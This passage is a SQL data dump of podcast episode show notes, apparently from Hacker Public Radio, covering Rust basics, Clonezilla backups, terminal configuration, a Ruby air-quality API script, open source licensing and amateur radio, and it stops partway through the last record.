(3453,'2021-10-27','Rust 101: Episode 1 - Hello, World!',1348,'In which BlacKernel introduces the cargo tool and goes into detail on the rust hello world program','<h2>Talking Points</h2>\r\n<ul>\r\n <li>main.rs\r\n <ul>\r\n <li>Like main.cpp in C++ or main.c in C</li>\r\n <li>Tells the compiler which file to start with</li>\r\n <li>Can link to other \"<i>crates</i>\" and \"<i>modules</i>\"</li>\r\n </ul></li>\r\n <li>Cargo.toml\r\n <ul>\r\n <li>Keeps track of application metadata</li>\r\n <li>This includes dependencies!</li>\r\n </ul></li>\r\n <li>Functions\r\n <ul>\r\n <li>Strictly typed, like everything in Rust</li>\r\n <li>Declared by <code>fn</code></li>\r\n <li>Argument typed with <code>argument: Type</code></li>\r\n <li>Return typed with <code>-&gt; Type</code> otherwise assumed to return nothing</li>\r\n </ul></li>\r\n <li>The Main Function\r\n <ul>\r\n <li>Like the main functions in C and C++</li>\r\n <li>Where the program starts within the main.rs file</li>\r\n <li>CLI arguments handled by <code>std::env</code>, rather than <code>argv</code> and <code>argc</code> in C</li>\r\n <li>Can return nothing or a <code>Result&lt;()&gt;</code></li>\r\n </ul></li>\r\n <li>Macros\r\n <ul>\r\n <li><i>Metafunctions</i> or functions for functions</li>\r\n <li>More general than functions, having flexibility in the number of arguments, etc, but harder to write</li>\r\n </ul></li>\r\n <li>The println! Macro\r\n <ul>\r\n <li>Can take any number of arguments that implement the <code>display</code> trait</li>\r\n <li>Usually things like strings or character literals</li>\r\n <li>Will format them into a string and display it on the terminal</li>\r\n <li>Similar to printf in C</li>\r\n </ul></li>\r\n <li>The Hello World program\r\n <ul>\r\n <li>Can be automagically generated with <code>cargo new</code> and then the name of your application</li>\r\n <li>Located in <code>Name-Of-Application/src/main.rs</code></li>\r\n </ul></li>\r\n\r\n</ul>\r\n\r\n<br>\r\n\r\n<pre>\r\nfn main() {\r\n&emsp;&emsp;println!(\"Hello, world!\");\r\n}\r\n</pre>\r\n\r\n<br>\r\n\r\n\r\n<hr>\r\n\r\n<h2 id=\"show-notes\">Show Notes</h2>\r\n<h4>Important Links:</h4>\r\n<ul>\r\n <li><a href=\"https://gitlab.com/BlacKernel/rust-101\">Git repo for this miniseries</a></li>\r\n <li><a href=\"https://doc.rust-lang.org/std/\">The Rust Standard Library</a></li>\r\n <li><a href=\"https://doc.rust-lang.org/std/macro.format.html\">The format! macro</a></li>\r\n <li><a href=\"https://doc.rust-lang.org/std/macro.println.html\">The println! macro</a></li>\r\n</ul>\r\n\r\n<h4>Wikipedia Articles:</h4>\r\n<ul>\r\n <li><a href=\"https://en.wikipedia.org/wiki/Rust_(programming_language)\">The Rust Programming Language</a></li>\r\n</ul>\r\n\r\n<hr>\r\n\r\n<i>Contact Me</i>\r\n<ul>\r\n<li><b>Email: </b><a href=\"mailto:izzyleibowitz@pm.me\">izzyleibowitz at pm dot me</a></li>\r\n<li><b>Mastodon: </b><a href=\"https://nixnet.social/BlacKernel\">at blackernel at nixnet dot social</a></li>\r\n</ul>\r\n\r\n',396,25,1,'CC-BY-SA','rust, programming, hello world, macros, functions',0,0,1),
(3455,'2021-10-29','Podcast Recommendation: IBM and Quantum computing',193,'Highlights of a podcast from Moore\'s Lobby','<h2 id=\"moores-lobby\">Moore\'s Lobby</h2>\r\n<h3 id=\"ep.-34-the-latest-from-the-lab-how-ibm-research-is-inventing-whats-next\">Ep. 34 | The Latest from the Lab: How IBM Research Is Inventing What\'s Next</h3>\r\n<p><a href=\"https://www.allaboutcircuits.com/podcast/ep-34-the-latest-from-the-lab-how-ibm-research-is-inventing-whats-next\" class=\"uri\">https://www.allaboutcircuits.com/podcast/ep-34-the-latest-from-the-lab-how-ibm-research-is-inventing-whats-next</a></p>\r\n<ol type=\"1\">\r\n<li>Rss feed: <a href=\"https://eetech.libsyn.com/rss\" class=\"uri\">https://eetech.libsyn.com/rss</a></li>\r\n<li>Interview with Dr. Jeffrey Welser\r\n<ul>\r\n<li>VP of Exploratory Science at IBM Research</li>\r\n<li>IBM Release first 2nm chip this year</li>\r\n</ul></li>\r\n<li>Engineers vs Scientists and how they drive innovations</li>\r\n<li>Goal to replace the transistor when Moore\'s Law stops scaling</li>\r\n<li>Managing thermal loads</li>\r\n<li>Finding new structures and materials to control current</li>\r\n<li>Neural nets, image recognition and AI</li>\r\n<li>Quantum computing\r\n<ul>\r\n<li>Discussion starts at 34:35 into the podcast</li>\r\n<li>Richard Feynman, Early 80\'s\r\n<ul>\r\n<li><a href=\"https://www.feynman.com\" class=\"uri\">https://www.feynman.com</a></li>\r\n</ul></li>\r\n<li>qubits\r\n<ul>\r\n<li>superposition state</li>\r\n<li>\"Spooky action at a distance\"</li>\r\n</ul></li>\r\n<li>Encryption\r\n<ul>\r\n<li>Need millions of qubits to break current encryption\r\n<ul>\r\n<li>Only currently over 100 qubits</li>\r\n<li>At least a decade from having enough qubits</li>\r\n<li>Currently have classical systems that cannot be broken by quantum computers\r\n<ul>\r\n<li>The math does not map onto a quantum system</li>\r\n<li>Currently working with NIST to create quantum safe cryptography\r\n<ul>\r\n<li><a href=\"https://csrc.nist.gov/Projects/Cryptographic-Standards-and-Guidelines\" class=\"uri\">https://csrc.nist.gov/Projects/Cryptographic-Standards-and-Guidelines</a></li>\r\n</ul></li>\r\n</ul></li>\r\n</ul></li>\r\n</ul></li>\r\n<li>Quantum chemistry</li>\r\n<li>Quantum chip - cooling and superconducting\r\n<ul>\r\n<li>Dilution refrigerator\r\n<ul>\r\n<li>Low temperature and pressure</li>\r\n<li>Top is 4 Kelvin, bottom gets to 15 milli Kelvin</li>\r\n<li><a href=\"https://phys.org/news/2019-06-superconducting-quantum-refrigerator.html\" class=\"uri\">https://phys.org/news/2019-06-superconducting-quantum-refrigerator.html</a></li>\r\n<li><a href=\"https://www.nist.gov/si-redefinition/kelvin-introduction\" class=\"uri\">https://www.nist.gov/si-redefinition/kelvin-introduction</a></li>\r\n</ul></li>\r\n</ul></li>\r\n<li>Josephson junction\r\n<ul>\r\n<li>It is the reference Volt as defined by NIST</li>\r\n<li><a href=\"https://www.sciencedirect.com/topics/physics-and-astronomy/josephson-junctions\" class=\"uri\">https://www.sciencedirect.com/topics/physics-and-astronomy/josephson-junctions</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Josephson_voltage_standard\" class=\"uri\">https://en.wikipedia.org/wiki/Josephson_voltage_standard</a></li>\r\n</ul></li>\r\n<li>Use an IBM quantum computer online\r\n<ul>\r\n<li>May 2016 the first quantum computer was put on the \'Net\r\n<ul>\r\n<li><a href=\"https://quantum-computing.ibm.com\" class=\"uri\">https://quantum-computing.ibm.com</a></li>\r\n<li><a href=\"https://newsroom.ibm.com/2016-05-03-IBM-Makes-Quantum-Computing-Available-on-IBM-Cloud-to-Accelerate-Innovation\" class=\"uri\">https://newsroom.ibm.com/2016-05-03-IBM-Makes-Quantum-Computing-Available-on-IBM-Cloud-to-Accelerate-Innovation</a></li>\r\n<li>300,000 users</li>\r\n<li><a href=\"https://qiskit.org/documentation\" class=\"uri\">https://qiskit.org/documentation</a>\r\n<ul>\r\n<li>Qiskit is open-source software for working with quantum computers at the level of circuits, pulses, and algorithms.</li>\r\n</ul></li>\r\n</ul></li>\r\n</ul></li>\r\n</ul></li>\r\n</ol>\r\n',318,0,0,'CC-BY-SA','podcast, moore\'s law, quantum computing, qubits, encryption, cryptography, NIST, Josephson junction',0,0,1),
(3463,'2021-11-10','Clonezilla: A backup story',2046,'Rho`n walks through the process of backing up his laptop with Clonezilla','<h2>Notes on the audio quality</h2>\r\n<p>I have been looking into the audio quality issues of my shows. I think I have found a solution to them. Unfortunately, this show was recorded before I discovered it.</p>\r\n<h2>Synopsis</h2>\r\n<p>In today\'s episode, I take the audience along my adventure in backing up my laptop\'s hard drives. During recent OS updates, the kernel updates started to fall. In my efforts to resolve the problem, I made things worse &ndash; to the point I decided it was time to reinstall the operating system. To prevent any data loss, I chose Clonezilla to image the drives.</p>\r\n\r\n<p>The Clonezilla Live edition lets you boot into a ncurses menu driven system that walks you through the process of either backing up your hard drives or restoring a Clonezilla backup. Clonezilla backups save space by imaging only the data on your drives (for those filesystems it recognizes &ndash; otherwise it uses <a href=\"#dd\">dd</a> to do a sector-by-sector copy)</p>\r\n\r\n<p>Overall the process was very smooth, and, at the end, I was confident to move forward with wiping my main hard drive and reinstalling the operating system knowing I had a way to restore any lost data.</p>\r\n\r\n<h2>References</h2>\r\n\r\n<ul>\r\n <li><a href=\"https://clonezilla.org/\">Clonzilla website</a></li>\r\n <li><a href=\"https://unetbootin.org/\">UNETBOOTIN website</a></li>\r\n <li><a id=\"dd\" href=\"https://en.wikipedia.org/wiki/Dd_(Unix)\">dd</a>, command line utility for *nix like operating systems</li>\r\n</ul>\r\n\r\n<h2>Attribution</h2>\r\n\r\n<p>The transition sound used between audio clips is found on <a href=\"https://freesound.org/\">freesound.org</a>:<br>\r\nName: <a href=\"https://freesound.org/people/DanJFilms/sounds/529064/\">Harp Transition Music Cue</a><br>\r\nAuthor: <a href=\"https://freesound.org/people/DanJFilms/\">DanJFilms</a><br>\r\nLicense: <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">Creative Commons Zero</a></p>\r\n\r\n',293,0,0,'CC-BY-SA','Clonezilla,backup,backups,cloning,hard drives',0,0,1),
(3454,'2021-10-28','Engineering Notation',736,'Ken runs through the most common Engineering Notation used in HAM radio.','<h1 id=\"engineering-notation\">Engineering Notation</h1>\r\n<h3 id=\"learn-this-table\">Learn this table</h3>\r\n<pre>\r\n giga G 10<sup>9</sup> 1,000,000,000\r\n mega M 10<sup>6</sup> 1,000,000\r\n kilo k 10<sup>3</sup> 1,000\r\n 1\r\nmilli m 10<sup>3</sup> 0.001\r\nmicro μ 10<sup>6</sup> 0.000,001\r\n nano n 10<sup>9</sup> 0.000,000,001\r\n pico p 10<sup>12</sup> 0.000,000,000,001\r\n</pre>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Engineering_notation\">Engineering notation</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Metric_prefix#List_of_SI_prefixes\">List of International System of Units (SI)</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3087\">hpr3087 :: Phonetic alphabet</a></li>\r\n</ul>\r\n',30,43,0,'CC-BY-SA','giga,mega,kilo,milli,micro,nano,pico,SI, International System of Units',0,0,1),
(3457,'2021-11-02','Tables',2260,'How and why I convert tables to lists','<p>\nMobile devices don\'t display them nicely.\nMost tables can be converted into a list:\n</p>\n\n<table>\n <tr>\n <th>OS</th><th>Init</th><th>Pkg</th>\n </tr>\n<tr>\n<td>Fedora</td><td>systemd</td><td>dnf</td>\n</tr>\n<tr>\n<td>Slackware</td><td>BSD-style</td><td>slackpkg</td>\n</tr>\n<tr>\n<td>Gentoo</td><td>OpenRC</td><td>emerge</td>\n</tr>\n</table>\n\n<p>Can be represented as a list. In YAML terms, this is a <em>sequence</em> of <em>mappings</em>.\n</p>\n\n<ul><li>Fedora\n<ul><li>Init system: systemd</li>\n<li>Package manager: dnf</li>\n</ul></li>\n<li>Slackware\n<ul>\n<li>Init system: BSD-style</li>\n<li>Package manager: slackpkg</li>\n</ul></li>\n\n<li>Gentoo\n<ul>\n<li>Init system: OpenRC</li>\n<li>Package manager: emerge</li>\n</ul></li>\n</ul>\n\n<p>A table doesn\'t always translate exactly to a list, but it probably can be restructured. </p>\n\n<table>\n<tr>\n<th>OS</th><th>Open source</th><th>Landed on Mars</th></tr>\n<tr>\n<td>Linux</td><td>Yes</td><td>Yes</td>\n</tr>\n<tr>\n<td>BSD</td><td>Yes</td><td>No</td>\n</tr>\n<tr>\n<td>macOS</td><td>No</td><td>No</td>\n</tr>\n</table>\n\n<p>Could be written like this instead:</p>\n\n<p>Linux and BSD are open source operating systems, while macOS is not. Of these POSIX-compliant systems, only Linux has landed on Mars so far.</p>\n\n<p>That\'s pretty casual and loses the visual impact of a table or a list. So alternately, you could summarize what\'s common and highlight differences:</p>\n\n<p>\nThere are a few Linux systems on Mars.\nNeither BSD or macOS have yet landed on Mars.\n</p>\n\n<ul>\n<li>Linux and BSD are both open source.</li>\n<li>macOS is based partially on open source and includes components from the BSD, KDE, GNU, and other projects.</li>\n</ul>\n',78,4,0,'CC-BY-SA','data,tables,communication',0,0,1),
(3458,'2021-11-03','Living in the Terminal 2: The Obligatory Sequel',3648,'A very tired BlacKernel tries to handle feedback from the previous episode','<h2>Talking Points</h2>\r\n<ul>\r\n <li>Listener Feedback\r\n <ul>\r\n <li>Dave Morriss and the Markdown/HTML debacle\r\n <ul>\r\n <li>Using validate_html</li>\r\n <li>Podcast logistics etc.</li>\r\n </ul>\r\n </li>\r\n <li>hackerdefo\'s suggestions\r\n <ul>\r\n <li>.less_termcap:<br/>\r\n <pre>\r\nexport LESS_TERMCAP_mb=$(tput bold; tput setaf 2)\r\nexport LESS_TERMCAP_md=$(tput bold; tput setaf 6)\r\nexport LESS_TERMCAP_me=$(tput sgr0)\r\nexport LESS_TERMCAP_so=$(tput bold; tput setaf 3; tput setab 4)\r\nexport LESS_TERMCAP_se=$(tput rmso; tput sgr0)\r\nexport LESS_TERMCAP_us=$(tput smul; tput bold; tput setaf 7)\r\nexport LESS_TERMCAP_ue=$(tput rmul; tput sgr0)\r\nexport LESS_TERMCAP_mr=$(tput rev)\r\nexport LESS_TERMCAP_mh=$(tput dim)\r\nexport LESS_TERMCAP_ZN=$(tput ssubm)\r\nexport LESS_TERMCAP_ZV=$(tput rsubm)\r\nexport LESS_TERMCAP_ZO=$(tput ssupm)\r\nexport LESS_TERMCAP_ZW=$(tput rsupm)\r\n </pre><br/>\r\n .bashrc:<br/>\r\n <pre>\r\nif [ -f $HOME/.less_termcap ];then\r\n . $HOME/.less_termcap\r\nfi\r\n </pre></li>\r\n <li>poca, castero, and gpodder cli</li>\r\n <li>My opinion on Python and Java</li>\r\n <li>ProtonMail Bridge with mutt</li>\r\n </ul>\r\n </li>\r\n <li>Comments from the last episode\r\n <ul>\r\n <li>(Please go to the last episode to read the full comments)</li>\r\n <li>NOTE: If you want a timely response, please email me or mention me on Mastodon</li>\r\n <li>Operat0r: Kids these days! https://www.nethack.org/</li>\r\n <li>b-yeezi: +1 for cnus</li>\r\n <li>sesamemucho: The text</li>\r\n <li>Dave Morriss: Very enjoyable</li>\r\n <li>Gumnos: Using \"c\" to pause in cmus</li>\r\n </ul>\r\n </li>\r\n </ul>\r\n </li>\r\n <li>New Talking Points\r\n <ul>\r\n <li>Here Documents\r\n <pre>\r\ncat &gt; text.txt &lt;&lt;EOF\r\nHello, World!\r\nEOF\r\n </pre>\r\n </li>\r\n <li>NetHack</li>\r\n </ul>\r\n </li>\r\n</ul>\r\n\r\n<hr/>\r\n\r\n<h2>Show Notes</h2>\r\n<h4>Important Links:</h4>\r\n<ul>\r\n <li><a href=\"https://hackerpublicradio.org/eps.php?id=3431\">HPR Episode 3431: Living in the Terminal by BlacKernel</a></li>\r\n <li><a href=\"https://brian-thompson.medium.com/setting-up-the-mutt-mail-client-with-protonmail-49c042486b3\">ProtonMail Bridge with Mutt by Medium</a></li>\r\n <li><a href=\"https://github.com/brokkr/poca/\">poca by brokkr</a></li>\r\n <li><a href=\"https://github.com/xgi/castero\">castero by xgi</a></li>\r\n <li><a href=\"https://gpodder.github.io/docs/user-manual.html#command-line-interface\">gpodder CLI interface</a></li>\r\n <li><a href=\"https://www.nethack.org/\">NetHack (The best game ever)</a></li>\r\n</ul>\r\n\r\n<h4>Wikipedia Articles:</h4>\r\n<ul>\r\n <li>None</li>\r\n</ul>\r\n\r\n<hr/>\r\n\r\n<i>Contact Me</i>\r\n<ul>\r\n<li><b>Email: </b><a href=\"mailto:izzyleibowitz@pm.me\">izzyleibowitz at pm dot me</a></li>\r\n<li><b>Mastodon: </b><a href=\"https://nixnet.social/BlacKernel\">at blackernel at nixnet dot social</a></li>\r\n</ul>\r\n',396,0,1,'CC-BY-SA','cli, linux, terminal, applications, picks, tired',0,0,1),
(3459,'2021-11-04','Linux Inlaws S01E42: The Open Source Initiative',4396,'The Open Source Initiative','<p>In this episode our two OAPs host Deb Nicholson, the general manager of the\r\nOpen Source Initiative (OSI). Apart from riveting insights into open source\r\nlicensing we discuss the greater FLOSS ecosystem and Deb\'s views on why\r\nwearing shoes is important in certain contexts, open source standards, law\r\nsuits and the differences between US and Europe among other things.</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>OSI: <a href=\"https://opensource.org\" target=_blank>https://opensource.org</a></li>\r\n<li>OSI\'s FLOSS definition: <a href=\"https://opensource.org/osd\" target=_blank>https://opensource.org/osd</a></li>\r\n<li>Commons Clause license: <a href=\"https://commonsclause.com\" target=_blank>https://commonsclause.com</a></li>\r\n<!-- <li>TerminusDB license change: <a href=\"https://blog.terminusdb.com/we-love-gplv3-but-are-switching-license-to-apache-2-0-terminusdb\" target=_blank>https://blog.terminusdb.com/we-love-gplv3-but-are-switching-license-to-apache-2-0-terminusdb</a></li> -->\r\n<li>TerminusDB license change: <a href=\"https://terminusdb.com/blog/we-love-gplv3-but-are-switching-license-to-apache-2-0-terminusdb/\" target=_blank>https://terminusdb.com/blog/we-love-gplv3-but-are-switching-license-to-apache-2-0-terminusdb/</a></li>\r\n<li>Open source licenses: <a href=\"https://en.wikipedia.org/wiki/Comparison_of_free_and_open-source_software_licences\" target=_blank>https://en.wikipedia.org/wiki/Comparison_of_free_and_open-source_software_licences</a></li>\r\n<li>Open Core model: <a href=\"https://en.wikipedia.org/wiki/Open-core_model\" target=_blank>https://en.wikipedia.org/wiki/Open-core_model</a></li>\r\n<li>Software Freedom Conservancy: <a href=\"https://sfconservancy.org\" target=_blank>https://sfconservancy.org</a></li>\r\n<li>Bruce Perens: <a href=\"https://en.wikipedia.org/wiki/Bruce_Perens\" target=_blank>https://en.wikipedia.org/wiki/Bruce_Perens</a></li>\r\n<li>Loki TV series: <a href=\"https://en.wikipedia.org/wiki/Loki_(TV_series)\" target=_blank>https://en.wikipedia.org/wiki/Loki_(TV_series)</a></li>\r\n<li>Luca movie: <a href=\"https://www.imdb.com/title/tt12801262/?ref_=fn_al_tt_1\" target=_blank>https://www.imdb.com/title/tt12801262/?ref_=fn_al_tt_1</a></li>\r\n<li>The Internet is made of cats: <a href=\"https://www.youtube.com/watch?v=zi8VTeDHjcM\" target=_blank>https://www.youtube.com/watch?v=zi8VTeDHjcM</a></li>\r\n<li>Gnome and systemd: <a href=\"https://blogs.gnome.org/benzea/2019/10/01/gnome-3-34-is-now-managed-using-systemd\" target=_blank>https://blogs.gnome.org/benzea/2019/10/01/gnome-3-34-is-now-managed-using-systemd</a></li>\r\n<li>Apparmor Profile: <a href=\"https://packages.debian.org/bullseye/apparmor-profiles\" target=_blank>https://packages.debian.org/bullseye/apparmor-profiles</a></li>\r\n<li>Apparmor Profile Extra: <a href=\"https://packages.debian.org/bullseye/apparmor-profiles-extra\" target=_blank>https://packages.debian.org/bullseye/apparmor-profiles-extra</a></li>\r\n</ul>\r\n\r\n<p><small><em>Editor\'s Note, 2021-12-09</em>: TerminusDB link changed as requested</small></p>\r\n',384,111,1,'CC-BY-SA','OSI, RMS, Open Core, the Cat Internet, Luca, Loki, open source licensing',0,0,1),
(3462,'2021-11-09','Metal marbles.',618,'Introduction of new host, with reference to semantic playgrounds.','<h2 id=\"title-metal-marbles.\">Title: Metal marbles.</h2>\r\n<h3 id=\"summary-introduction-of-host-with-reference-to-semantic-playgrounds.\">Summary: Introduction of host, with reference to semantic playgrounds.</h3>\r\n<p>Link to the rust converter recipe, which I found to be cheaper, and more sprayable than buckets of gel or paint-like substances which you might find elsewhere:</p>\r\n<p><a href=\"https://www.canada.ca/en/conservation-institute/services/conservation-preservation-publications/canadian-conservation-institute-notes/tannic-acid-rusted-iron-artifacts.html\" class=\"uri\">https://www.canada.ca/en/conservation-institute/services/conservation-preservation-publications/canadian-conservation-institute-notes/tannic-acid-rusted-iron-artifacts.html</a></p>\r\n<p>In case that link moves, search for tannic acid rust converters, then choose your buffers.</p>\r\n<p>Email:<br />\r\nhpr@spoons.one</p>\r\n<p>Mastodon, though very very rarely:<br />\r\n<span class=\"citation\" data-cites=\"one_of_spoons\">@one_of_spoons</span><span class=\"citation\" data-cites=\"hispagatos.space\">@hispagatos.space</span></p>',398,0,1,'CC-BY-SA','host zen',0,0,1),
(3472,'2021-11-23','consuming an AQI API',386,'just because the sky is clear, doesn\'t mean the air is safe to breathe','<h2>AQI</h2>\r\n<p>Air Quality Index - measures particles in the air</p>\r\n<ul>\r\n<li>\r\n<p>Ozone </p>\r\n<ul>\r\n<li>good at high altitudes</li>\r\n<li>bad on the earth surface <a href=\"https://en.wikipedia.org/wiki/Ozone#Low_level_ozone\">https://en.wikipedia.org/wiki/Ozone#Low_level_ozone</a></li>\r\n</ul>\r\n</li>\r\n<li>\r\n<p>PM2.5 </p>\r\n<ul>\r\n<li>Particulate Matter, 2.5 micrometers <a href=\"https://en.wikipedia.org/wiki/Particulates#Size,_shape_and_solubility_matter\">https://en.wikipedia.org/wiki/Particulates#Size,_shape_and_solubility_matter</a></li>\r\n</ul>\r\n</li>\r\n</ul>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Particulates#Wildfire_smoke_risk\">https://en.wikipedia.org/wiki/Particulates#Wildfire_smoke_risk</a></p>\r\n<h2>Getting AQI data</h2>\r\n<p>Determining air quality in my area is as simple as visiting <a href=\"https://www.airnow.gov\">https://www.airnow.gov</a> and entering my zip code. Although my zip code covers 139.56 square miles, the result is accurate enough for my needs. When my zip code was submitted, the web page did not refresh. This means that the client interface made an API call to the backend server. </p>\r\n<p>It sure would be nice if the AQI status was emailed to my phone every hour, if the AQI was above a certain threshold. </p>\r\n<p>In order to get the data from the API, it is necessary to emulate the request made by the client to the API. This can be accomplished using Firefox.</p>\r\n<ul>\r\n<li>open Firefox</li>\r\n<li>go to <a href=\"https://www.airnow.gov\">https://www.airnow.gov</a></li>\r\n<li>open the Firefox developer tools, either through the menu or with CTRL+SHIFT+i</li>\r\n<li>in the dev tools, select the Network tab</li>\r\n<li>enter the zip code in the form and submit</li>\r\n<li>watch the Network tab for a POST request to https://airnowgovapi.com/reportingarea/get</li>\r\n<li>click on the request in the network tab</li>\r\n</ul>\r\n<p>Another set of tabs are now available to display various bits of information regarding the request. From this data, it is possible to recreate the query. \r\nHowever, I took an even easier route, and right-clicked on the query in the Network tab, and selected <code>Copy > Copy as cURL</code> to get the request as a curl command complete with all necessary arguments prefilled. Since I didn\'t want to write my entire AQI fetching script in bash, I copied the curl command into a text file and ported the request to Ruby. </p>\r\n<h2>The Finished Script</h2>\r\n<pre><code>#!/usr/bin/env ruby\r\nrequire \'net/http\'\r\nrequire \'uri\'\r\nrequire \'json\'\r\n\r\nuri =\"https://airnowgovapi.com/reportingarea/get\"\r\nparsed_uri = URI.parse(uri)\r\npayload={latitude:39.88,longitude:-120.76,stateCode:\'CA\',maxDistance:50}\r\nresponse = Net::HTTP.post_form(parsed_uri, payload)\r\ndata = JSON.parse(response.body)[0]\r\naqi=data[\"aqi\"].to_i\r\ncategory=data[\'category\']\r\nparameter=data[\'parameter\']\r\n\r\noutput= \"#{parameter}: #{aqi} - #{category}\"\r\nputs output\r\n\r\n\r\n/opt/textjezra \"#{output}\"` if aqi > 70\r\n</code></pre>\r\n',243,25,0,'CC-BY-SA','ruby, api, programming',0,0,1),
(3473,'2021-11-24','My journey into Amateur Radio',616,'Dave explains his journey into Amateur Radio, initial setup and successes.','<h2 id=\"opening\">Opening</h2>\r\n<p>Hello, my name is Dave, and welcome to another exciting episode of Hacker Public Radio. It\'s been a couple of years since my last episode, and I know that HPR is running low on shows. As I have had this one in planning for some time now, I though this was the right time to get it finished.</p>\r\n<h2 id=\"main\">Main</h2>\r\n<p>At the time of recording this, I\'ve been an <a href=\"https://en.m.wikipedia.org/wiki/Amateur_radio\">Amateur Radio</a> licence holder for 6 months. I took the notion of studying and applying for my Foundation licence (the first of three stages to a Full licence) when I read a blog post by Jon Spriggs G7VRI, back in March, entitled <a href=\"https://jon.sprig.gs/blog/post/2184\">Might Amateur Radio be a hobby for you?</a> I saw a <a href=\"https://jon.sprig.gs/blog/post/slideshow/amateur-radio\">presentation</a> by Jon at OggCamp in 2018 in Sheffield where he gave a whistle-stop tour of what Amateur Radio actually is, and how easy it is to get involved in it.</p>\r\n<p>As a bit of background, I was quite involved in the <a href=\"https://en.m.wikipedia.org/wiki/Citizens_band_radio\">CB Radio</a> scene back in the late 80s and early 90s - I was introduced to CB by my dad, whose handle was \"Screwball\", in the 70s... he had a CB rig in his car since as far back as I can remember. I picked up the hobby from him, by actually liberating him of his rig when he stopped using it. Unfortunately it got stolen from my car. C\'est la vie. Yes, my handle back then was \"The Love Bug\" - in fact, it was whilst looking for an alternative to \"Kool Kat\" as a handle that I first used the moniker \"The Love Bug\" - probably in the mid-80s - and it just stuck.</p>\r\n<p>So, after reading Jon\'s blog post, and doing some research into Amateur Radio myself, a whole bunch of things happened at the same time: I bought my first radio - a <a href=\"https://www.baofengradio.com/products/uv-5rtp\">Baofeng UV-5RTP</a> [<a href=\"https://www.amazon.co.uk/dp/B07PWGMT13\">Amazon UK</a>], I joined the <a href=\"https://rsgb.org/\">Radio Society of Great Britain</a> (not a requirement, but I would recommend it), signed up for Essex Ham\'s <a href=\"https://www.essexham.co.uk/train/online-exams/\">Foundation Training Course</a> (not a requirement, but strongly recommended as it\'s geared around the examination, and it\'s free!)</p>\r\n<p>The training took 3 weeks (in my own time), and I applied for my exam as soon as the training was complete. The exam was an hour long, under as close to exam conditions as an online exam would allow, and I was told by the online system that I\'d passed as soon as I submitted my answers. It then took a few days to get the confirmation of passing (and a certificate) in the post, which then allowed me to apply to <a href=\"https://en.m.wikipedia.org/wiki/Ofcom\">Ofcom</a> (the authority for the radio spectrum here in the UK) for my licence and callsign. I was able to choose the suffix of my callsign, and - as BUG was taken - I opted for TLB (for The Love Bug), and thus my callsign is - currently - M7TLB (Mike Seven Tango Lima Bravo). I say \"currently\" - I\'m not allowed to change my callsign, however the callsign is specific not only to me but also to the fact that I\'m a Foundation Licence holder. Therefore, when I go for my Intermediate and then Full licence, I\'ll get new callsigns for each one, each superseding the previous.</p>\r\n<p>Anyhoo, once I got my Foundation licence, I went out that Sunday to log some contacts, or <a href=\"https://en.m.wikipedia.org/wiki/Contact_(amateur_radio)\">QSO</a>s. So I parked up at a high point near to here, put a small aerial on the roof of the car (so that I didn\'t warm up my head when transmitting), and started calling <a href=\"https://en.m.wikipedia.org/wiki/CQ_(call)\">CQ</a> - essentially a way of saying \"I want to talk to somebody\" - \"Seek You\". As part of the licence conditions, you are only permitted to make contact with other identifiable and identified amateurs... general broadcasts to whomever might be listening are prohibited. <em>Except</em> when calling CQ to initiate that contact.</p>\r\n<p>So I\'d call out something akin to \"CQ, CQ, this station Mike Seven Tango Lima Bravo, Mike Seven Tango Lima Bravo Portable, calling CQ.\" The \"Portable\" indicates that I\'m not at my home station location. It\'s also a good indication that my transmission might be variable due to the portable nature of the station.</p>\r\n<p>I was transmitting using 8 watts of power, two watts fewer than the limit of my license, but significantly lower than the 400 watts that I could be using as a Full licence holder, so my hopes weren\'t high. My first contact was with a chap just outside Caistor, Lincolnshire... about 38 miles direct from where I was based. He was also using a portable station, but with a directional beam antenna, meaning that both transmission and reception from his end was able to focus on my direction. So yeah, impressed!</p>\r\n<p>My second contact was also a portable station, located at a high-point by the Woodhead Pass, in Penistone, about 18 miles direct from where I was. This contact was the gift that kept on giving, as there were two other portable stations at the same location, so I got three contacts in the log for that one.</p>\r\n<p>Things went quiet after that one, so after a further 5 calls out, I figured that was my lot. Still, I was happy with four QSOs on my first day!</p>\r\n<p>Later the same day, I went out for my daily constitutional, so I figured I\'d take the radio - with the standard short rubber-duck antenna, and an earpiece - with me. At least that way, I wouldn\'t look too silly, or a target to be fair. My intention was just to bounce around the frequencies and listen to conversations, rather than put out any CQs myself... I was in a residential area, so I didn\'t want to draw attention to myself.</p>\r\n<p>Whilst listening, I heard someone calling CQ and inviting respondents to a different frequency, so I followed and listened. There were a couple of contacts already there that I couldn\'t hear, so I waited for the initial contact to finish working the first. When he put out a call for whomever originally responded, I jumped in with my callsign, thinking that there was no way he would hear me. Consider that I was walking around town, in a reasonably built-up area, with probably the worst antenna I could have chosen for distance, and he wasn\'t exactly coming through strong. He responded to me directly, asking me to standby whilst he worked the other station that responded. Well, I was shocked to hear him say to the other contact that he was in East Yorkshire, about 33 miles from here! He was using a directional beam antenna which was pointing due west... whereas I am south-west of his location, so when you consider the other things I mentioned, the fact that he was also not pointing his antenna directly at me I was completely amazed that I was able to hold this relatively decent quality conversation with someone that far away. Well pleased was I.</p>\r\n<p>Cost-wise, I should warn that Amateur Radio <em>can</em> be an expensive hobby, but it absolutely doesn\'t have to be. At a bare minimum, to get me \"on the air\" I bought the Baofeng (£42.99), and paid for my Foundation examination (£27.50), so a little over £70 overall. I actually bought a number of accessories for the radio, and joined the RSGB, but these are in no way required expenses. The standard radio on its own is more than sufficient to gain some decent contacts, as I hope I\'ve proven with the success from that Sunday.</p>\r\n<p>Since then, I have bought an HF (or High Frequency) radio from India, it\'s a low-power model (or QRP) which is unlikely to get very far, but there are transmission modes that I can use that are specifically intended for low-power operation. My next big thing is to get an antenna up in the back garden along with a decent tuner so that I can actually use that radio!!</p>\r\n<p>By the time this episode goes out, I will have started an intensive course with <a href=\"https://oarc.uk/\">OARC</a> (Online Amateur Radio Community) which is a UK-based club - a more fantastic bunch of people you are not likely to find - so I\'ll be able to change my callsign to one beginning 2E0 or 2E1, and be able to use up to 50W to transmit, even though I don\'t have any equipment capable to transmitting 50W - 